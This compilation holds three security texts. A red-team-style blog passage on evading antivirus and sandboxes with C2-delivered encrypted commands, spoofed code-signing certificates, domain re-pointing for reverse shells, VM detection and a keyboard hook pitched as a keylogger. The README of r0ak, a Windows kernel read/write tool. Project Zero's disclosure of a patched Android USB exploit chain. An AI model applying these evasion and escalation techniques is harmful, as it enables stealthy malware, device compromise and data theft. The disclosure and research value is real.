If you’ve read my previous post, then you know that I created a cmd.exe process using the CreateProcessW winAPI. We can do what we did above for Creating Processes as well. But instead of hardcoding the Encrypted array for the Process to be executed, we will send the process name as an array over network once the executable connects to the C2 Server along with the host. We can also use authentication on C2 server, and only allow it to connect if it sends a proper key. Below is the Code for Creating Processes using Encrypted Char array over sockets

In this way, when a system sandboxes our executable, it won’t know that what process are we executing beforehand inside a sandbox. Below is a much clearer description of what we are doing:

  1. Decrypt C2 host at runtime and connect to host
  2. Receive password and verify if it is right
  3. If the key is right, wait for 5 seconds to receive encrypted array(process name) over socket
  4. Decrypt the received Process and run it using CreateProcessW API

With the help of the above technique, if our C2 is down, then the sandbox/analyst will not be able to find what we are executing since we have not hardcoded any processes to execute.

Code Signing with Spoofed Certs

I wrote a Script in python which can fetch and create duplicate certificates from any website which we can use for code signing. One thing I noticed is that Antiviruses don’t check and verify the whole chain of the certificate. They don’t even verify the authenticity. The main reason being not every antivirus can connect to internet in every organization to fetch and verify the ceritificates for every third party application installed. You can find the Certificate spoofing python script on my GitHub profile here.

And this is the scan results of Windows ML Defender after Signing:

Next thing is we will try to add a few features to our malware to detect if we are running in a sandbox or inside a virtual machine. We will try to evade Sandboxes as much as possible and kill our executable as soon as we find anything suspicious. We need to make sure that our malware doesn’t even look suspicious. Because if it does, then the sandbox will quarantine it and send an alert that there is a suspicious process running. This is worse than detection because this is where most SOC detects the malware and the Red Teaming gets detected.

Legitimate Domain Routing (Evade Proxy Categorization Detection and Endpoint Detection)

This is one of the best techniques I’ve found out till date which almost works every time. Let’s say I buy a C2 domain named abc.com. I will modify the A records so that it points to Microsoft.com or some similar legitimate site for a month or so. When the malware executes on the vicim’s system, it will connect to this domain which will send a normal HTTP reply from Microsoft and the malware will go to sleep for a few hours and then loop into doing the same thing. Now whenever I want to get a reverse shell of my malware, I will simply change the A records of abc.com to my C2 hosting server and it will send a key in HTTP to the malware which will trigger it to fetch shellcode or send a shell back to my C2. This way, our abc.com will also get categorized as a legitimate domain instead of malicious or phishing site. And even the Endpoint systems will not block it since it is contacting a legitimate domain. Over time I’ve also used Symantec’s website to connect as a temporary domain, later changing it to my malicious C2 server.

Check System Uptime & Idletime (Evades Virtual Machine Sandboxes)

If our executable is running in a virtual machine, the uptime will be pretty short since it will boot up, perform analysis on our binary and then shutdown. So, we can check the uptime of the machine and sleep till it reaches 20-30 minutes and then run it. Make sure to use NTP to check the time with external domain, else Sandboxes can fast-forward system time for process executions. Checking via NTP will make sure that correct time is checked. Below is the code to check uptime of a system and also idle time in case required.

Idletime:

Uptime:

Check Mac Address of Virtual Machine (Known OUIs)

Vmware, Virtual box, MS Hyper-v and a lot of virtual machine providers use a fixed MAC Unique identifier which can be used to run in a loop to check if current mac address matches to any of those mentioned in the list. If it is, then it is highly possible that the malware is running in a virtual environment, mostly for the purpose of sandboxing and reverse engineering. Below are the OUIs that I know for the moment. If there are more, do let me know in the comments.

Company and Products MAC unique identifier (s)
VMware ESX 3, Server, Workstation, Player 00-50-56, 00-0C-29, 00-05-69
Microsoft Hyper-V, Virtual Server, Virtual PC 00-03-FF
Parallels Desktop, Workstation, Server, Virtuozzo 00-1C-42
Virtual Iron 4 00-0F-4B
Red Hat Xen 00-16-3E
Oracle VM 00-16-3E
XenSource 00-16-3E
Novell Xen 00-16-3E
Sun xVM VirtualBox 08-00-27

Below is the C code to detect mac address of a Windows machine:

Execute shellcode when a specific key is pressed. (Sleep & hook method)

Here, we are only executing our shellcode/malicious process when the user presses a specific key. For this, we can hook the keyboard and create a list of multiple keys that specify what kind of shellcode needs to be executed. This is basically polymorphism. Every time a different shellcode depending on the key will confuse the Antivirus, and secondly in a sandbox, no one presses any key. So, our malware won’t execute in a sandbox. Below is the Code to hook the keyboard and check the key pressed.

P.S.: Below code can also be used for Keylogging 😉

Check number of files in Temp and Recent Files

Whenever a malware is running in a sandbox, the sandbox will have the minimum number of recent files in the virtual machine reason being sandboxes are not used for usual work. So, we can run a loop to check the number of recent files and also files in temp directory to check if we are running in a virtual machine. If the number of recent files are less than 10-15, just sleep or suspend itself. Below is a code I wrote which loops to check all files and folders in a directory:

Now I can keep on going like this, but the blog will just get lengthier with this. Besides, below are a few things you can code to check if we are running in a sandbox:

  1. Check if the hard disk size is greater than 60 GB (Default Virtual Machine Sandbox Size is <100GB)
  2. Check if Packet Capture Driver is installed in the registry (To check if Wireshark or similar is running for packet analysis)
  3. Check if Virtual Box additions/extension pack is installed
  4. WannaCry DNS Sinkhole Method

This is another method which WannaCry used. So basically, the malware will try to connect to a domain that doesn’t exist. If it does, it means the malware is running in a sandbox, since Sandboxes will reply to a NX Domain too to check if that’s a C2 Server. If we get a NX domain in reply, then we can directly connect to the C2 host. BEWARE, that DNS Sinkholes can prevent your malware from executing at all. Instead you can buy a certain domain and check for a customized response to check if you are running in a sandbox environment.

Now, there are much more different ways to evade ML and AV detection and they aren’t really that hard. Evading ML based AVs are not rocket science as people say. It’s just that it requires more of free time to sit and understand how the underlying architecture works and find flaws to evade it.

It’s much better to invest in a highly technical Threat Hunter for detecting suspicious behaviors in your environment’s and logs rather than buying a high-end Sandbox or Antivirus Solution, though the latter is also useful in it’s own sense too.

 

R0Ak (The Ring 0 Army Knife) — A Command Line Utility To Read/Write/Execute Ring Zero On For Windows 10 Systems

r0ak is a Windows command-line utility that enables you to easily read, write, and execute kernel-mode code (with some limitations) from the command prompt, without requiring anything else other than Administrator privileges.

Quick Peek

r0ak v1.0.0 -- Ring 0 Army Knife
http://www.github.com/ionescu007/r0ak
Copyright (c) 2018 Alex Ionescu [@aionescu]
http://www.windows-internals.com

USAGE: r0ak.exe
       [--execute <Address | module.ext!function> <Argument>]
       [--write   <Address | module.ext!function> <Value>]
       [--read    <Address | module.ext!function> <Size>]

Introduction

Motivation
The Windows kernel is a rich environment in which hundreds of drivers execute on a typical system, and where thousands of variables containing global state are present. For advanced troubleshooting, IT experts will typically use tools such as the Windows Debugger (WinDbg), SysInternals Tools, or write their own. Unfortunately, usage of these tools is getting increasingly hard, and they are themselves limited by their own access to Windows APIs and exposed features.
Some of today’s challenges include:

  • Windows 8 and later support Secure Boot, which prevents kernel debugging (including local debugging) and loading of test-signed driver code. This restricts troubleshooting tools to those that have a signed kernel-mode driver.
  • Even on systems without Secure Boot enabled, enabling local debugging or changing boot options which ease debugging capabilities will often trigger BitLocker’s recovery mode.
  • Windows 10 Anniversary Update and later include much stricter driver signature requirements, which now enforce Microsoft EV Attestation Signing. This restricts the freedom of software developers as generic «read-write-everything» drivers are frowned upon.
  • Windows 10 Spring Update now includes customer-facing options for enabling HyperVisor Code Integrity (HVCI) which further restricts allowable drivers and blacklists multiple 3rd party drivers that had «read-write-everything» capabilities due to poorly written interfaces and security risks.
  • Technologies like Supervisor Mode Execution Prevention (SMEP), Kernel Control Flow Guard (KCFG) and HVCI with Second Level Address Translation (SLAT) are making traditional Ring 0 execution ‘tricks’ obsoleted, so a new approach is needed.

In such an environment, it was clear that a simple tool which can be used as an emergency band-aid/hotfix and to quickly troubleshoot kernel/system-level issues which may be apparent by analyzing kernel state might be valuable for the community.

How it Works

Basic Architecture

r0ak works by redirecting the execution flow of the window manager’s trusted font validation checks when attempting to load a new font, by replacing the trusted font table’s comparator routine with an alternate function which schedules an executive work item (WORK_QUEUE_ITEM) stored in the input node. Then, the trusted font table’s right child (which serves as the root node) is overwritten with a named pipe’s write buffer (NP_DATA_ENTRY) in which a custom work item is stored. This item’s underlying worker function and its parameter are what will eventually be executed by a dedicated ExpWorkerThread at PASSIVE_LEVELonce a font load is attempted and the comparator routine executes, receiving the name pipe-backed parent node as its input. A real-time Event Tracing for Windows (ETW) trace event is used to receive an asynchronous notification that the work item has finished executing, which makes it safe to tear down the structures, free the kernel-mode buffers, and restore normal operation.

Supported Commands
When using the --execute option, this function and parameter are supplied by the user.
When using --write, a custom gadget is used to modify arbitrary 32-bit values anywhere in kernel memory.
When using --read, the write gadget is used to modify the system’s HSTI buffer pointer and size (N.B.: This is destructive behavior in terms of any other applications that will request the HSTI data. As this is optional Windows behavior, and this tool is meant for emergency debugging/experimentation, this loss of data was considered acceptable). Then, the HSTI Query API is used to copy back into the tool’s user-mode address space, and a hex dump is shown.
Because only built-in, Microsoft-signed, Windows functionality is used, and all called functions are part of the KCFG bitmap, there is no violation of any security checks, and no debugging flags are required, or usage of 3rd party poorly-written drivers.

FAQ

Is this a bug/vulnerability in Windows?
No. Since this tool — and the underlying technique — require a SYSTEM-level privileged token, which can only be obtained by a user running under the Administrator account, no security boundaries are being bypassed in order to achieve the effect. The behavior and utility of the tool is only possible due to the elevated/privileged security context of the Administrator account on Windows, and is understood to be a by-design behavior.

Was Microsoft notified about this behavior?
Of course! It’s important to always file security issues with Microsoft even when no violation of privileged boundaries seems to have occurred — their teams of researchers and developers might find novel vectors and ways to reach certain code paths which an external researcher may not have thought of.
As such, in November 2014, a security case was filed with the Microsoft Security Research Centre (MSRC) which responded: «[…] doesn’t fall into the scope of a security issue we would address via our traditional Security Bulletin vehicle. It […] pre-supposes admin privileges — a place where architecturally, we do not currently define a defensible security boundary. As such, we won’t be pursuing this to fix.»
Furthermore, in April 2015 at the Infiltrate conference, a talk titled Insection : AWEsomely Exploiting Shared Memory Objects was presented detailing this issue, including to Microsoft developers in attendance, which agreed this was currently out of scope of Windows’s architectural security boundaries. This is because there are literally dozens — if not more — of other ways an Administrator can read/write/execute Ring 0 memory. This tool merely allows an easy commodification of one such vector, for purposes of debugging and troubleshooting system issues.

Can’t this be packaged up as part of end-to-end attack/exploit kit?
Packaging this code up as a library would require carefully removing all interactive command-line parsing and standard output, at which point, without major rewrites, the ‘kit’ would:

  • Require the target machine to be running Windows 10 Anniversary Update x64 or later
  • Have already elevated privileges to SYSTEM
  • Require an active Internet connection with a proxy/firewall allowing access to Microsoft’s Symbol Server
  • Require the Windows SDK/WDK installed on the target machine
  • Require a sensible _NT_SYMBOL_PATH environment variable to have been configured on the target machine, and for about 15MB of symbol data to be downloaded and cached as PDB files somewhere on the disk

Attackers interested in using this particular approach — versus very many others more cross-compatible, no-SYSTEM-right-requiring techniques — likely already adapted their own code based on the Proof-of-Concept from April 2015 — more than 3 years ago.

Usage

Requirements
Due to the usage of the Windows Symbol Engine, you must have either the Windows Software Development Kit (SDK) or Windows Driver Kit (WDK) installed with the Debugging Tools for Windows. The tool will lookup your installation path automatically, and leverage the DbgHelp.dll and SymSrv.dll that are present in that directory. As these files are not re-distributable, they cannot be included with the release of the tool.
Alternatively, if you obtain these libraries on your own, you can modify the source-code to use them.
Usage of symbols requires an Internet connection, unless you have pre-cached them locally. Additionally, you should setup the _NT_SYMBOL_PATH variable pointing to an appropriate symbol server and cached location.
It is assumed that an IT Expert or other troubleshooter which apparently has a need to read/write/execute kernel memory (and has knowledge of the appropriate kernel variables to access) is already more than intimately familiar with the above setup requirements. Please do not file issues asking what the SDK is or how to set an environment variable.

Use Cases

  • Some driver leaked kernel pool? Why not call ntoskrnl.exe!ExFreePool and pass in the kernel address that’s leaking? What about an object reference? Go call ntoskrnl.exe!ObfDereferenceObject and have that cleaned up.
  • Want to dump the kernel DbgPrint log? Why not dump the internal circular buffer at ntoskrnl.exe!KdPrintCircularBuffer
  • Wondering how big the kernel stacks are on your machine? Try looking at ntoskrnl.exe!KeKernelStackSize
  • Want to dump the system call table to look for hooks? Go print out ntoskrnl.exe!KiServiceTable

These are only a few examples — all Ring 0 addresses are accepted, either by module!symbol syntax or directly passing the kernel pointer if known. The Windows Symbol Engine is used to look these up.

Limitations
The tool requires certain kernel variables and functions that are only known to exist in modern versions of Windows 10, and was only meant to work on 64-bit systems. These limitations are due to the fact that on older systems (or x86 systems), these stricter security requirements don’t exist, and as such, more traditional approaches can be used instead. This is a personal tool which I am making available, and I had no need for these older systems, where I could use a simple driver instead. That being said, this repository accepts pull requests, if anyone is interested in porting it.
Secondly, due to the use cases and my own needs, the following restrictions apply:

  • Reads — Limited to 4 GB of data at a time
  • Writes — Limited to 32-bits of data at a time
  • Executes — Limited to functions which only take 1 scalar parameter

Obviously, these limitations could be fixed by programmatically choosing a different approach, but they fit the needs of a command line tool and my use cases. Again, pull requests are accepted if others wish to contribute their own additions.
Note that all execution (including execution of the --read and --write commands) occurs in the context of a System Worker Thread at PASSIVE_LEVEL. Therefore, user-mode addresses should not be passed in as parameters/arguments.

OATmeal on the Universal Cereal Bus: Exploiting Android phones over USB

( origin  by Jann Horn, Google Project Zero )

Recently, there has been some attention around the topic of physical attacks on smartphones, where an attacker with the ability to connect USB devices to a locked phone attempts to gain access to the data stored on the device. This blogpost describes how such an attack could have been performed against Android devices (tested with a Pixel 2).

 

After an Android phone has been unlocked once on boot (on newer devices, using the «Unlock for all features and data» screen; on older devices, using the «To start Android, enter your password» screen), it retains the encryption keys used to decrypt files in kernel memory even when the screen is locked, and the encrypted filesystem areas or partition(s) stay accessible. Therefore, an attacker who gains the ability to execute code on a locked device in a sufficiently privileged context can not only backdoor the device, but can also directly access user data.
(Caveat: We have not looked into what happens to work profile data when a user who has a work profile toggles off the work profile.)

 

The bug reports referenced in this blogpost, and the corresponding proof-of-concept code, are available at:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1583 («directory traversal over USB via injection in blkid output»)
https://bugs.chromium.org/p/project-zero/issues/detail?id=1590 («privesc zygote->init; chain from USB»)

 

These issues were fixed as CVE-2018-9445 (fixed at patch level 2018-08-01) and CVE-2018-9488 (fixed at patch level 2018-09-01).

The attack surface

Many Android phones support USB host mode (often using OTG adapters). This allows phones to connect to many types of USB devices (this list isn’t necessarily complete):

 

  • USB sticks: When a USB stick is inserted into an Android phone, the user can copy files between the system and the USB stick. Even if the device is locked, Android versions before P will still attempt to mount the USB stick. (Android 9, which was released after these issues were reported, has logic in vold that blocks mounting USB sticks while the device is locked.)
  • USB keyboards and mice: Android supports using external input devices instead of using the touchscreen. This also works on the lockscreen (e.g. for entering the PIN).
  • USB ethernet adapters: When a USB ethernet adapter is connected to an Android phone, the phone will attempt to connect to a wired network, using DHCP to obtain an IP address. This also works if the phone is locked.

 

This blogpost focuses on USB sticks. Mounting an untrusted USB stick offers nontrivial attack surface in highly privileged system components: The kernel has to talk to the USB mass storage device using a protocol that includes a subset of SCSI, parse its partition table, and interpret partition contents using the kernel’s filesystem implementation; userspace code has to identify the filesystem type and instruct the kernel to mount the device to some location. On Android, the userspace implementation for this is mostly in vold(one of the processes that are considered to have kernel-equivalent privileges), which uses separate processes in restrictive SELinux domains to e.g. determine the filesystem types of partitions on USB sticks.

 

The bug (part 1): Determining partition attributes

When a USB stick has been inserted and vold has determined the list of partitions on the device, it attempts to identify three attributes of each partition: Label (a user-readable string describing the partition), UUID (a unique identifier that can be used to determine whether the USB stick is one that has been inserted into the device before), and filesystem type. In the modern GPT partitioning scheme, these attributes can mostly be stored in the partition table itself; however, USB sticks tend to use the MBR partition scheme instead, which can not store UUIDs and labels. For normal USB sticks, Android supports both the MBR partition scheme and the GPT partition scheme.

 

To provide the ability to label partitions and assign UUIDs to them even when the MBR partition scheme is used, filesystems implement a hack: The filesystem header contains fields for these attributes, allowing an implementation that has already determined the filesystem type and knows the filesystem header layout of the specific filesystem to extract this information in a filesystem-specific manner. When vold wants to determine label, UUID and filesystem type, it invokes /system/bin/blkid in the blkid_untrusted SELinux domain, which does exactly this: First, it attempts to identify the filesystem type using magic numbers and (failing that) some heuristics, and then, it extracts the label and UUID. It prints the results to stdout in the following format:

 

/dev/block/sda1: LABEL=»<label>» UUID=»<uuid>» TYPE=»<type>»

 

However, the version of blkid used by Android did not escape the label string, and the code responsible for parsing blkid’s output only scanned for the first occurrences of UUID=» and TYPE=». Therefore, by creating a partition with a crafted label, it was possible to gain control over the UUID and type strings returned to vold, which would otherwise always be a valid UUID string and one of a fixed set of type strings.

The bug (part 2): Mounting the filesystem

When vold has determined that a newly inserted USB stick with an MBR partition table contains a partition of type vfat that the kernel’s vfat filesystem implementation should be able to mount,PublicVolume::doMount() constructs a mount path based on the filesystem UUID, then attempts to ensure that the mountpoint directory exists and has appropriate ownership and mode, and then attempts to mount over that directory:

 

   if (mFsType != «vfat») {
       LOG(ERROR) << getId() << » unsupported filesystem » << mFsType;
       return -EIO;
   }
   if (vfat::Check(mDevPath)) {
       LOG(ERROR) << getId() << » failed filesystem check»;
       return -EIO;
   }
   // Use UUID as stable name, if available
   std::string stableName = getId();
   if (!mFsUuid.empty()) {
       stableName = mFsUuid;
   }
   mRawPath = StringPrintf(«/mnt/media_rw/%s», stableName.c_str());
   […]
   if (fs_prepare_dir(mRawPath.c_str(), 0700, AID_ROOT, AID_ROOT)) {
       PLOG(ERROR) << getId() << » failed to create mount points»;
       return -errno;
   }
   if (vfat::Mount(mDevPath, mRawPath, false, false, false,
           AID_MEDIA_RW, AID_MEDIA_RW, 0007, true)) {
       PLOG(ERROR) << getId() << » failed to mount » << mDevPath;
       return -EIO;
   }

 

The mount path is determined using a format string, without any sanity checks on the UUID string that was provided by blkid. Therefore, an attacker with control over the UUID string can perform a directory traversal attack and cause the FAT filesystem to be mounted outside of /mnt/media_rw.

 

This means that if an attacker inserts a USB stick with a FAT filesystem whose label string is ‘UUID=»../##’ into a locked phone, the phone will mount that USB stick to /mnt/##.

 

However, this straightforward implementation of the attack has several severe limitations; some of them can be overcome, others worked around:

 

  • Label string length: A FAT filesystem label is limited to 11 bytes. An attacker attempting to perform a straightforward attack needs to use the six bytes ‘UUID=»‘ to start the injection, which leaves only five characters for the directory traversal — insufficient to reach any interesting point in the mount hierarchy. The next section describes how to work around that.
  • SELinux restrictions on mountpoints: Even though vold is considered to be kernel-equivalent, a SELinux policy applies some restrictions on what vold can do. Specifically, the mountonpermission is restricted to a set of permitted labels.
  • Writability requirement: fs_prepare_dir() fails if the target directory is not mode 0700 and chmod() fails.
  • Restrictions on access to vfat filesystems: When a vfat filesystem is mounted, all of its files are labeled as u:object_r:vfat:s0. Even if the filesystem is mounted in a place from which important code or data is loaded, many SELinux contexts won’t be permitted to actually interact with the filesystem — for example, the zygote and system_server aren’t allowed to do so. On top of that, processes that don’t have sufficient privileges to bypass DAC checks also need to be in the media_rw group. The section «Dealing with SELinux: Triggering the bug twice» describes how these restrictions can be avoided in the context of this specific bug.

Exploitation: Chameleonic USB mass storage

As described in the previous section, a FAT filesystem label is limited to 11 bytes. blkid supports a range of other filesystem types that have significantly longer label strings, but if you used such a filesystem type, you’d then have to make it past the fsck check for vfat filesystems and the filesystem header checks performed by the kernel when mounting a vfat filesystem. The vfat kernel filesystem doesn’t require a fixed magic value right at the start of the partition, so this might theoretically work somehow; however, because several of the values in a FAT filesystem header are actually important for the kernel, and at the same time,blkid also performs some sanity checks on superblocks, the PoC takes a different route.

 

After blkid has read parts of the filesystem and used them to determine the filesystem’s type, label and UUID, fsck_msdos and the in-kernel filesystem implementation will re-read the same data, and those repeated reads actually go through to the storage device. The Linux kernel caches block device pages when userspace directly interacts with block devices, but __blkdev_put() removes all cached data associated with a block device when the last open file referencing the device is closed.

 

A physical attacker can abuse this by attaching a fake storage device that returns different data for multiple reads from the same location. This allows us to present, for example, a romfs header with a long label string to blkid while presenting a perfectly normal vfat filesystem to fsck_msdos and the in-kernel filesystem implementation.

 

This is relatively simple to implement in practice thanks to Linux’ built-in support for device-side USB.Andrzej Pietrasiewicz’s talk «Make your own USB gadget» is a useful introduction to this topic. Basically, the kernel ships with implementations for device-side USB mass storage, HID devices, ethernet adapters, and more; using a relatively simple pseudo-filesystem-based configuration interface, you can configure a composite gadget that provides one or multiple of these functions, potentially with multiple instances, to the connected device. The hardware you need is a system that runs Linux and supports device-side USB; for testing this attack, a Raspberry Pi Zero W was used.

 

The f_mass_storage gadget function is designed to use a normal file as backing storage; to be able to interactively respond to requests from the Android phone, a FUSE filesystem is used as backing storage instead, using the direct_io option / the FOPEN_DIRECT_IO flag to ensure that our own kernel doesn’t add unwanted caching.

 

At this point, it is already possible to implement an attack that can steal, for example, photos stored on external storage. Luckily for an attacker, immediately after a USB stick has been mounted,com.android.externalstorage/.MountReceiver is launched, which is a process whose SELinux domain permits access to USB devices. So after a malicious FAT partition has been mounted over /data (using the label string ‘UUID=»../../data’), the zygote forks off a child with appropriate SELinux context and group membership to permit accesses to USB devices. This child then loads bytecode from /data/dalvik-cache/, permitting us to take control over com.android.externalstorage, which has the necessary privileges to exfiltrate external storage contents.

 

However, for an attacker who wants to access not just photos, but things like chat logs or authentication credentials stored on the device, this level of access should normally not be sufficient on its own.

Dealing with SELinux: Triggering the bug twice

The major limiting factor at this point is that, even though it is possible to mount over /data, a lot of the highly-privileged code running on the device is not permitted to access the mounted filesystem. However, one highly-privileged service does have access to it: vold.

 

vold actually supports two types of USB sticks, PublicVolume and PrivateVolume. Up to this point, this blogpost focused on PublicVolume; from here on, PrivateVolume becomes important.
A PrivateVolume is a USB stick that must be formatted using a GUID Partition Table. It must contain a partition that has type UUID kGptAndroidExpand (193D1EA4-B3CA-11E4-B075-10604B889DCF), which contains a dm-crypt-encrypted ext4 (or f2fs) filesystem. The corresponding key is stored at/data/misc/vold/expand_{partGuid}.key, where {partGuid} is the partition GUID from the GPT table as a normalized lowercase hexstring.

 

As an attacker, it normally shouldn’t be possible to mount an ext4 filesystem this way because phones aren’t usually set up with any such keys; and even if there is such a key, you’d still have to know what the correct partition GUID is and what the key is. However, we can mount a vfat filesystem over /data/misc and put our own key there, for our own GUID. Then, while the first malicious USB mass storage device is still connected, we can connect a second one that is mounted as PrivateVolume using the keys vold will read from the first USB mass storage device. (Technically, the ordering in the last sentence isn’t entirely correct — actually, the exploit provides both mass storage devices as a single composite device at the same time, but stalls the first read from the second mass storage device to create the desired ordering.)

 

Because PrivateVolume instances use ext4, we can control DAC ownership and permissions on the filesystem; and thanks to the way a PrivateVolume is integrated into the system, we can even control SELinux labels on that filesystem.

 

In summary, at this point, we can mount a controlled filesystem over /data, with arbitrary file permissions and arbitrary SELinux contexts. Because we control file permissions and SELinux contexts, we can allow any process to access files on our filesystem — including mapping them with PROT_EXEC.

Injecting into zygote

The zygote process is relatively powerful, even though it is not listed as part of the TCB. By design, it runs with UID 0, can arbitrarily change its UID, and can perform dynamic SELinux transitions into the SELinux contexts of system_server and normal apps. In other words, the zygote has access to almost all user data on the device.

 

When the 64-bit zygote starts up on system boot, it loads code from /data/dalvik-cache/arm64/system@framework@boot*.{art,oat,vdex}. Normally, the oat file (which contains an ELF library that will be loaded with dlopen()) and the vdex file are symlinks to files on the immutable/system partition; only the art file is actually stored on /data. But we can instead makesystem@framework@boot.art and system@framework@boot.vdex symlinks to /system (to get around some consistency checks without knowing exactly which Android build is running on the device) while placing our own malicious ELF library at system@framework@boot.oat (with the SELinux context that the legitimate oat file would have). Then, by placing a function with__attribute__((constructor)) in our ELF library, we can get code execution in the zygote as soon as it calls dlopen() on startup.

 

The missing step at this point is that when the attack is performed, the zygote is already running; and this attack only works while the zygote is starting up.

Crashing the system

This part is a bit unpleasant.

 

When a critical system component (in particular, the zygote or system_server) crashes (which you can simulate on an eng build using kill), Android attempts to automatically recover from the crash by restarting most userspace processes (including the zygote). When this happens, the screen first shows the boot animation for a bit, followed by the lock screen with the «Unlock for all features and data» prompt that normally only shows up after boot. However, the key material for accessing user data is still present at this point, as you can verify if ADB is on by running «ls /sdcard» on the device.

 

This means that if we can somehow crash system_server, we can then inject code into the zygote during the following userspace restart and will be able to access user data on the device.

 

Of course, mounting our own filesystem over /data is very crude and makes all sorts of things fail, but surprisingly, the system doesn’t immediately fall over — while parts of the UI become unusable, most places have some error handling that prevents the system from failing so clearly that a restart happens.
After some experimentation, it turned out that Android’s code for tracking bandwidth usage has a safety check: If the network usage tracking code can’t write to disk and >=2MiB (mPersistThresholdBytes) of network traffic have been observed since the last successful write, a fatal exception is thrown. This means that if we can create some sort of network connection to the device and then send it >=2MiB worth of ping flood, then trigger a stats writeback by either waiting for a periodic writeback or changing the state of a network interface, the device will reboot.

 

To create a network connection, there are two options:

 

  • Connect to a wifi network. Before Android 9, even when the device is locked, it is normally possible to connect to a new wifi network by dragging down from the top of the screen, tapping the drop-down below the wifi symbol, then tapping on the name of an open wifi network. (This doesn’t work for networks protected with WPA, but of course an attacker can make their own wifi network an open one.) Many devices will also just autoconnect to networks with certain names.
  • Connect to an ethernet network. Android supports USB ethernet adapters and will automatically connect to ethernet networks.

 

For testing the exploit, a manually-created connection to a wifi network was used; for a more reliable and user-friendly exploit, you’d probably want to use an ethernet connection.

 

At this point, we can run arbitrary native code in zygote context and access user data; but we can’t yet read out the raw disk encryption key, directly access the underlying block device, or take a RAM dump (although at this point, half the data that would’ve been in a RAM dump is probably gone anyway thanks to the system crash). If we want to be able to do those things, we’ll have to escalate our privileges a bit more.

From zygote to vold

Even though the zygote is not supposed to be part of the TCB, it has access to the CAP_SYS_ADMINcapability in the initial user namespace, and the SELinux policy permits the use of this capability. The zygote uses this capability for the mount() syscall and for installing a seccomp filter without setting theNO_NEW_PRIVS flag. There are multiple ways to abuse CAP_SYS_ADMIN; in particular, on the Pixel 2, the following ways seem viable:

 

  • You can install a seccomp filter without NO_NEW_PRIVS, then perform an execve() with a privilege transition (SELinux exec transition, setuid/setgid execution, or execution with permitted file capability set). The seccomp filter can then force specific syscalls to fail with error number 0 — which e.g. in the case of open() means that the process will believe that the syscall succeeded and allocated file descriptor 0. This attack works here, but is a bit messy.
  • You can instruct the kernel to use a file you control as high-priority swap device, then create memory pressure. Once the kernel writes stack or heap pages from a sufficiently privileged process into the swap file, you can edit the swapped-out memory, then let the process load it back. Downsides of this technique are that it is very unpredictable, it involves memory pressure (which could potentially cause the system to kill processes you want to keep, and probably destroys many forensic artifacts in RAM), and requires some way to figure out which swapped-out pages belong to which process and are used for what. This requires the kernel to support swap.
  • You can use pivot_root() to replace the root directory of either the current mount namespace or a newly created mount namespace, bypassing the SELinux checks that would have been performed for mount(). Doing it for a new mount namespace is useful if you only want to affect a child process that elevates its privileges afterwards. This doesn’t work if the root filesystem is a rootfs filesystem. This is the technique used here.

 

In recent Android versions, the mechanism used to create dumps of crashing processes has changed: Instead of asking a privileged daemon to create a dump, processes execute one of the helpers/system/bin/crash_dump64 and /system/bin/crash_dump32, which have the SELinux labelu:object_r:crash_dump_exec:s0. Currently, when a file with such a label is executed by any SELinux domain, an automatic domain transition to the crash_dump domain is triggered (which automatically implies setting the AT_SECURE flag in the auxiliary vector, instructing the linker of the new process to be careful with environment variables like LD_PRELOAD):

 

domain_auto_trans(domain, crash_dump_exec, crash_dump);

 

At the time this bug was reported, the crash_dump domain had the following SELinux policy:

 

[…]
allow crash_dump {
 domain
 -init
 -crash_dump
 -keystore
 -logd
}:process { ptrace signal sigchld sigstop sigkill };
[…]
r_dir_file(crash_dump, domain)
[…]

 

This policy permitted crash_dump to attach to processes in almost any domain via ptrace() (providing the ability to take over the process if the DAC controls permit it) and allowed it to read properties of any process in procfs. The exclusion list for ptrace access lists a few TCB processes; but notably, vold was not on the list. Therefore, if we can execute crash_dump64 and somehow inject code into it, we can then take overvold.

 

Note that the ability to actually ptrace() a process is still gated by the normal Linux DAC checks, andcrash_dump can’t use CAP_SYS_PTRACE or CAP_SETUID. If a normal app managed to inject code intocrash_dump64, it still wouldn’t be able to leverage that to attack system components because of the UID mismatch.

 

If you’ve been reading carefully, you might now wonder whether we could just place our own binary with context u:object_r:crash_dump_exec:s0 on our fake /data filesystem, and then execute that to gain code execution in the crash_dump domain. This doesn’t work because vold — very sensibly — hardcodes theMS_NOSUID flag when mounting USB storage devices, which not only degrades the execution of classic setuid/setgid binaries, but also degrades the execution of files with file capabilities and executions that would normally involve automatic SELinux domain transitions (unless the SELinux policy explicitly opts out of this behavior by granting PROCESS2__NOSUID_TRANSITION).

 

To inject code into crash_dump64, we can create a new mount namespace with unshare() (using ourCAP_SYS_ADMIN capability), then call pivot_root() to point the root directory of our process into a directory we fully control, and then execute crash_dump64. Then the kernel parses the ELF headers ofcrash_dump64, reads the path to the linker (/system/bin/linker64), loads the linker into memory from that path (relative to the process root, so we can supply our own linker here), and executes it.

 

At this point, we can execute arbitrary code in crash_dump context and escalate into vold from there, compromising the TCB. At this point, Android’s security policy considers us to have kernel-equivalent privileges; however, to see what you’d have to do from here to gain code execution in the kernel, this blogpost goes a bit further.

From vold to init context

It doesn’t look like there is an easy way to get from vold into the real init process; however, there is a way into the init SELinux context. Looking through the SELinux policy for allowed transitions into init context, we find the following policy:

 

domain_auto_trans(kernel, init_exec, init)

 

This means that if we can get code running in kernel context to execute a file we control labeled init_exec, on a filesystem that wasn’t mounted with MS_NOSUID, then our file will be executed in init context.

 

The only code that is running in kernel context is the kernel, so we have to get the kernel to execute the file for us. Linux has a mechanism called «usermode helpers» that can do this: Under some circumstances, the kernel will delegate actions (such as creating coredumps, loading key material into the kernel, performing DNS lookups, …) to userspace code. In particular, when a nonexistent key is looked up (e.g. viarequest_key()), /sbin/request-key (hardcoded, can only be changed to a different static path at kernel build time with CONFIG_STATIC_USERMODEHELPER_PATH) will be invoked.

 

Being in vold, we can simply mount our own ext4 filesystem over /sbin without MS_NOSUID, then callrequest_key(), and the kernel invokes our request-key in init context.

 

The exploit stops at this point; however, the following section describes how you could build on it to gain code execution in the kernel.

From init context to the kernel

From init context, it is possible to transition into modprobe or vendor_modprobe context by executing an appropriately labeled file after explicitly requesting a domain transition (note that this is domain_trans(), which permits a transition on exec, not domain_auto_trans(), which automatically performs a transition on exec):

 

domain_trans(init, { rootfs toolbox_exec }, modprobe)
domain_trans(init, vendor_toolbox_exec, vendor_modprobe)

 

modprobe and vendor_modprobe have the ability to load kernel modules from appropriately labeled files:

 

allow modprobe self:capability sys_module;
allow modprobe { system_file }:system module_load;
allow vendor_modprobe self:capability sys_module;
